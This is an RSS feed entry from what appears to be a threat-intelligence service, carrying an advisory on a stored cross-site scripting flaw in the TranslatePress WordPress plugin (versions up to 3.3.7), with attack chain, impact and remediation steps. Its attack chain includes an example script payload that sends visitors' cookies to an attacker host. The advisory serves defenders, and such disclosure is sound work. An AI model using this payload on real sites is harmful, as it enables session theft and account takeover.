<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:webfeeds="http://webfeeds.org/rss/1.0"><channel><title>TranslatePress – Translate Multilingual Sites With AI Translation (&lt;= 3.3.7) - CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/products/translatepress--translate-multilingual-sites-with-ai-translation--3.3.7/</link><description>Trending threats, MITRE ATT&amp;CK coverage, and detection metadata. Fed continuously.</description><generator>Hugo</generator><language>en</language><managingEditor>hello@craftedsignal.io</managingEditor><webMaster>hello@craftedsignal.io</webMaster><lastBuildDate>Fri, 16 Oct 2026 08:25:15 +0000</lastBuildDate><atom:link href="https://feed.craftedsignal.io/products/translatepress--translate-multilingual-sites-with-ai-translation--3.3.7/feed.xml" rel="self" type="application/rss+xml"/><image><url>https://feed.craftedsignal.io/favicon-32x32.png</url><title>CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/</link><width>32</width><height>32</height></image><webfeeds:icon>https://feed.craftedsignal.io/favicon.svg</webfeeds:icon><item><title>Stored Cross-Site Scripting in TranslatePress WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-translatepress-xss/</link><pubDate>Fri, 16 Oct 2026 08:25:15 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-translatepress-xss/</guid><description>The TranslatePress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the comment parameter, allowing unauthenticated attackers to execute arbitrary web scripts.</description><content:encoded><![CDATA[<p>The TranslatePress - Translate Multilingual sites with AI Translation plugin for WordPress is affected by a Stored Cross-Site Scripting (XSS) vulnerability, tracked as CVE-2026-107768. All versions up to and including 3.3.7 are susceptible to this flaw, which stems from insufficient input sanitization and output escaping within the comment parameter. An unauthenticated attacker can leverage this vulnerability to inject arbitrary JavaScript into comments. This malicious script subsequently executes in the browser of any user - including administrators - who views the page where the injected comment is displayed. The vulnerability is highly relevant to defenders as it requires the site to have a secondary language configured and allow unmoderated comment submissions, which aligns with common configurations for multilingual WordPress deployments. Successful exploitation could lead to administrative account takeover via session hijacking or the redirection of site visitors to malicious domains.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker identifies a WordPress site running a vulnerable version of TranslatePress (&lt;= 3.3.7).</li>
<li>Attacker verifies the target site has a secondary language enabled and allows unmoderated comment submissions.</li>
<li>Attacker crafts a malicious payload containing JavaScript, such as '&lt;script&gt;fetch('https://attacker.com/steal?c='+document.cookie)&lt;/script&gt;'.</li>
<li>Attacker submits the payload through the standard WordPress comment form on a public-facing post.</li>
<li>The TranslatePress plugin processes the comment, failing to sanitize the malicious script within the comment parameter.</li>
<li>The WordPress database stores the unsanitized script as part of the comment content.</li>
<li>A legitimate user, such as an administrator, visits the affected page where the comment is rendered.</li>
<li>The user's browser executes the stored JavaScript, leading to potential session theft or unauthorized actions on behalf of the user.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of CVE-2026-107768 allows for the execution of arbitrary JavaScript in the context of a victim's session. Depending on the target's role, this can result in the full compromise of user accounts, theft of sensitive session cookies, or the defacement of the affected website. Because the payload is stored persistently, it may affect any user visiting the page, increasing the overall risk to the organization's user base and administrative environment.</p>
<h2 id="recommendation">Recommendation</h2>
<ol>
<li>Update the TranslatePress plugin to the latest available version (beyond 3.3.7) immediately to remediate the lack of input sanitization.</li>
<li>Monitor web server logs for HTTP POST requests directed at comment submission endpoints that contain script tags or suspicious JavaScript patterns.</li>
<li>Enforce comment moderation policies to prevent unauthenticated users from posting content directly to public-facing pages without verification.</li>
<li>Implement a strict Content Security Policy (CSP) to restrict the execution of unauthorized scripts within the browser context.</li>
</ol>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item></channel></rss>